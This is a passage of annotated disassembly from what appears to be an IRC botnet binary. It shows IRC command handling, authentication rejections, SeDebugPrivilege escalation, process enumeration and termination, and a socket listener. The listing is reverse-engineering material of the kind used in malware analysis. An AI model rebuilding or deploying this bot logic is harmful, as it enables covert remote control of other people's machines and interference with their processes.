		lea	eax, [ebp+var_508]
		push	eax
		mov	[ebp+var_50C], esi
		call	sub_41782A
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B75C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	11h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407FEA
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_414CFA

loc_414CE4:				; CODE XREF: sub_40EE72+5E86j
		cmp	[ebp+var_464], ebx
		jnz	loc_40F239
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_414CE4
; ---------------------------------------------------------------------------

loc_414CFA:				; CODE XREF: sub_40EE72+5E70j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43544C
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_414D0B:				; CODE XREF: sub_40EE72+FCEj
					; sub_40EE72+FE3j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D33
		push	edi
		push	offset aSec	; "sec"
		call	sub_4176D0
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D3D

loc_414D33:				; CODE XREF: sub_40EE72+5EA8j
		mov	[ebp+var_46C], 1

loc_414D3D:				; CODE XREF: sub_40EE72+5EBFj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414D84
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_414D84:				; CODE XREF: sub_40EE72+5F0Bj
		push	eax
		push	offset dword_435400
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ah
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415F26
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_414DF4

loc_414DE2:				; CODE XREF: sub_40EE72+5F80j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414E0F
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_414DE2
; ---------------------------------------------------------------------------

loc_414DF4:				; CODE XREF: sub_40EE72+5F6Ej
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4353B4

loc_414E00:				; CODE XREF: sub_40EE72+3DA5j
					; sub_40EE72+4AC1j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch

loc_414E0F:				; CODE XREF: sub_40EE72+2EB3j
					; sub_40EE72+3959j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_40F428
; ---------------------------------------------------------------------------

loc_414E20:				; CODE XREF: sub_40EE72+FA4j
					; sub_40EE72+FB9j
		push	offset aAbosal7Tool ; "ABOSAL7 tool"
		push	offset dword_435394
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_414E2F:				; CODE XREF: sub_40EE72+F7Aj
					; sub_40EE72+F8Fj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414E8F
		push	esi
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414E84
		cmp	eax, 2
		jge	short loc_414E84
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_414E79
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438738
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_414E79:				; CODE XREF: sub_40EE72+5FE6j
		push	eax
		push	offset dword_435358
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414E84:				; CODE XREF: sub_40EE72+5FD1j
					; sub_40EE72+5FD6j
		push	eax
		push	offset dword_43531C
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414E8F:				; CODE XREF: sub_40EE72+5FC6j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_414E94:				; CODE XREF: sub_40EE72+603Ej
		push	[ebp+var_94]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EB7
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414E94
		jmp	loc_410E57
; ---------------------------------------------------------------------------

loc_414EB7:				; CODE XREF: sub_40EE72+6032j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438738
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_414ED1:				; CODE XREF: sub_40EE72+F50j
					; sub_40EE72+F65j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F45
		call	sub_416F23
		push	ebx
		call	ds:off_42414C

loc_414EF3:				; CODE XREF: sub_40EE72+F26j
					; sub_40EE72+F3Bj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_928]
		push	ds:dword_42F5CC
		push	eax
		call	sub_415CFF
		add	esp, 10h
		lea	eax, [ebp+var_928]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		lea	eax, [ebp+var_928]
		push	eax
		push	offset dword_4352E8

loc_414F3E:				; CODE XREF: sub_40EE72+4344j
					; sub_40EE72+49D7j ...
		call	sub_40BFE1
		pop	ecx

loc_414F44:				; CODE XREF: sub_40EE72+17E7j
		pop	ecx

loc_414F45:				; CODE XREF: sub_40EE72+65Fj
					; sub_40EE72+66Bj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_414F4D:				; CODE XREF: sub_40EE72+B28j
					; sub_40EE72+B3Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40F239
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	offset asc_4387B4 ; "!"
		push	[ebp+var_94]
		call	sub_418B6E
		mov	esi, eax
		push	offset dword_43C824
		push	ebx
		inc	esi
		call	sub_418B6E
		push	offset asc_4352E4 ; "~"
		push	eax
		call	sub_418B6E
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_4176D0
		add	esp, 20h
		test	eax, eax
		jz	short loc_414FEC
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_43525C
		jmp	loc_40F813
; ---------------------------------------------------------------------------

loc_414FEC:				; CODE XREF: sub_40EE72+6136j
		mov	[ebp+arg_24], offset off_42F6C8

loc_414FF3:				; CODE XREF: sub_40EE72+619Dj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4170B3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415053
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42F6CC
		jb	short loc_414FF3
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 14h
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_435220
		jmp	loc_40F813
; ---------------------------------------------------------------------------

loc_415053:				; CODE XREF: sub_40EE72+6190j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_415058:				; CODE XREF: sub_40EE72+6210j
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		cmp	[edi], bl
		jnz	short loc_415078
		push	[ebp+arg_0]
		push	offset aCool	; "cool"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415089

loc_415078:				; CODE XREF: sub_40EE72+61F1j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_415058
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_415089:				; CODE XREF: sub_40EE72+6204j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_AA8]
		push	7Fh
		push	eax
		push	esi
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4150C0
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4351F4
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4150C0:				; CODE XREF: sub_40EE72+6232j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4351C4
		jmp	loc_40F422
; ---------------------------------------------------------------------------

loc_4150D1:				; CODE XREF: sub_40EE72+20Ej
					; sub_40EE72+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		mov	ds:dword_489DCC, edi
		jmp	loc_40F10F
sub_40EE72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41511D	proc near		; CODE XREF: sub_409037+45p
					; sub_409037+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_42413C	; GetCurrentProcess
		push	eax
		call	ds:dword_43F64C	; OpenProcessToken
		test	eax, eax
		jnz	short loc_41513C
		leave
		retn
; ---------------------------------------------------------------------------

loc_41513C:				; CODE XREF: sub_41511D+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_43F624	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_41517A
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415163
		or	[ebp+var_8], 2
		jmp	short loc_415167
; ---------------------------------------------------------------------------

loc_415163:				; CODE XREF: sub_41511D+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_415167:				; CODE XREF: sub_41511D+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_43F6D4	; AdjustTokenPrivileges
		mov	esi, eax

loc_41517A:				; CODE XREF: sub_41511D+32j
		push	[ebp+var_4]
		call	ds:off_424078
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41511D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415188	proc near		; CODE XREF: sub_40EE72+4B66p
					; sub_415339+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_43F688, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_415332
		cmp	ds:dword_43F66C, ebx
		jz	loc_415332
		cmp	ds:dword_43F588, ebx
		jz	loc_415332
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_43F688	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_415325
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43F66C	; Process32First
		mov	esi, ds:off_424078
		test	eax, eax
		jz	loc_415320

loc_41522B:				; CODE XREF: sub_415188+BEj
					; sub_415188+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43F588	; Process32Next
		test	eax, eax
		jz	loc_415320
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41522B
		cmp	[ebp+arg_C], ebx
		jnz	loc_4152D8
		cmp	[ebp+arg_4], ebx
		jz	short loc_41522B
		push	[ebp+var_124]
		push	8
		call	ds:dword_43F688	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_415295
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	ds:dword_43F534	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41529B
		lea	eax, [ebp+var_230]
		jmp	short loc_4152A1
; ---------------------------------------------------------------------------

loc_415295:				; CODE XREF: sub_415188+EBj
		push	[ebp+var_124]

loc_41529B:				; CODE XREF: sub_415188+103j
		lea	eax, [ebp+var_108]

loc_4152A1:				; CODE XREF: sub_415188+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		push	edi
		call	esi ; sub_49C3D5
		jmp	loc_41522B
; ---------------------------------------------------------------------------

loc_4152D8:				; CODE XREF: sub_415188+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41522B
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	ds:dword_4240FC	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi ; sub_49C3D5
		push	ebx
		push	edi
		call	ds:dword_424170	; TerminateProcess
		test	eax, eax
		jnz	short loc_41531B
		push	edi
		call	esi ; sub_49C3D5
		jmp	short loc_415332
; ---------------------------------------------------------------------------

loc_41531B:				; CODE XREF: sub_415188+18Cj
		push	1
		pop	eax
		jmp	short loc_415334
; ---------------------------------------------------------------------------

loc_415320:				; CODE XREF: sub_415188+9Dj
					; sub_415188+B5j
		push	[ebp+var_4]
		call	esi ; sub_49C3D5

loc_415325:				; CODE XREF: sub_415188+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511D
		pop	ecx
		pop	ecx

loc_415332:				; CODE XREF: sub_415188+3Aj
					; sub_415188+46j ...
		xor	eax, eax

loc_415334:				; CODE XREF: sub_415188+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415188	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415339	proc near		; DATA XREF: sub_40EE72+595Ao

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_438838
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172AE
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_415398
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h

loc_415398:				; CODE XREF: sub_415339+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_415188
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4153C0
		push	offset unk_438800
		jmp	short loc_4153C5
; ---------------------------------------------------------------------------

loc_4153C0:				; CODE XREF: sub_415339+7Ej
		push	offset unk_4387C8

loc_4153C5:				; CODE XREF: sub_415339+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4153F8
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40D679
		add	esp, 14h

loc_4153F8:				; CODE XREF: sub_415339+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_14]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
sub_415339	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415417	proc near		; CODE XREF: sub_40EE72+4B08p
					; sub_416E95+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	ds:dword_4240FC	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_415449
		push	0
		push	esi
		call	ds:dword_424170	; TerminateProcess
		test	eax, eax
		jnz	short loc_415449
		push	esi
		xor	edi, edi
		call	ds:off_424078

loc_415449:				; CODE XREF: sub_415417+1Aj
					; sub_415417+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415417	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41544E	proc near		; CODE XREF: sub_4030D1+Ap
					; _0:0040369Ep	...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41730A
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_4246A0
		call	sub_417DC4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41544E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41547E	proc near		; DATA XREF: sub_41570C+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_4450CC[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	ds:dword_43F650	; select
		test	eax, eax
		jnz	short loc_415502
		push	dword ptr [esi]
		call	ds:dword_43F700	; closesocket
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread

loc_415502:				; CODE XREF: sub_41547E+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43F680	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415683
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415683
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_415683
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43F5C4	; getpeername
		test	eax, eax
		jz	short loc_41557B
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		push	offset dword_43892C
		call	sub_40BFE1
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 0Ch
		push	edi
		call	ds:dword_424054	; ExitThread

loc_41557B:				; CODE XREF: sub_41547E+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	ds:dword_43F620	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_4155A5
		push	[ebp+var_18]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_4172AE
		jmp	short loc_4155B3
; ---------------------------------------------------------------------------

loc_4155A5:				; CODE XREF: sub_41547E+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_4179C0

loc_4155B3:				; CODE XREF: sub_41547E+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43C80C
		push	dword ptr [esi]
		call	ds:dword_43F6B8	; send
		cmp	ds:dword_489DDC, edi
		jnz	short loc_415615
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4156DD
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415615
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	ds:dword_43F6B8	; send
		push	dword ptr [esi]
		call	ds:dword_43F700	; closesocket
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread

loc_415615:				; CODE XREF: sub_41547E+14Cj
					; sub_41547E+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_4388E0
		call	sub_40BFE1
		push	[ebp+arg_0]
		call	sub_4165C4
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41565C
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4388A4
		call	sub_40BFE1
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 0Ch
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_41565C:				; CODE XREF: sub_41547E+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_43886C
		call	sub_40BFE1
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 10h
		push	edi
		call	ds:dword_424054	; ExitThread
sub_41547E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415683	proc near		; CODE XREF: sub_41547E+9Ap
					; sub_41547E+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F680	; recv
		cmp	eax, 1
		jnz	short loc_4156D3
		mov	esi, [ebp+arg_4]

loc_4156A1:				; CODE XREF: sub_415683+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4156C8
		test	al, al
		jz	short loc_4156D7
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F680	; recv
		cmp	eax, 1
		jz	short loc_4156A1
		jmp	short loc_4156D3
; ---------------------------------------------------------------------------

loc_4156C8:				; CODE XREF: sub_415683+27j
		push	offset dword_438968
		call	sub_40BFE1
		pop	ecx

loc_4156D3:				; CODE XREF: sub_415683+19j
					; sub_415683+43j
		xor	eax, eax
		jmp	short loc_4156DA
; ---------------------------------------------------------------------------

loc_4156D7:				; CODE XREF: sub_415683+2Bj
		push	1
		pop	eax

loc_4156DA:				; CODE XREF: sub_415683+52j
		pop	esi
		leave
		retn
sub_415683	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156DD	proc near		; CODE XREF: sub_41547E+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415708
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4389A0
		call	sub_40BFE1
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_415708:				; CODE XREF: sub_4156DD+11j
		push	1
		pop	eax
		retn
sub_4156DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41570C	proc near		; DATA XREF: sub_40EE72+5621o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	ds:dword_43F5E0	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_415765
		push	eax
		push	offset dword_438B64
		call	sub_40BFE1
		push	[ebp+var_4C]
		call	sub_417076
		add	esp, 0Ch
		push	edi
		call	ds:dword_424054	; ExitThread

loc_415765:				; CODE XREF: sub_41570C+3Aj
		push	edi
		push	offset loc_41598A
		call	ds:dword_424174	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_41579E
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_438B14
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		call	ds:dword_43F5C8	; WSACleanup
		push	[ebp+var_4C]
		call	sub_417076
		pop	ecx
		push	edi
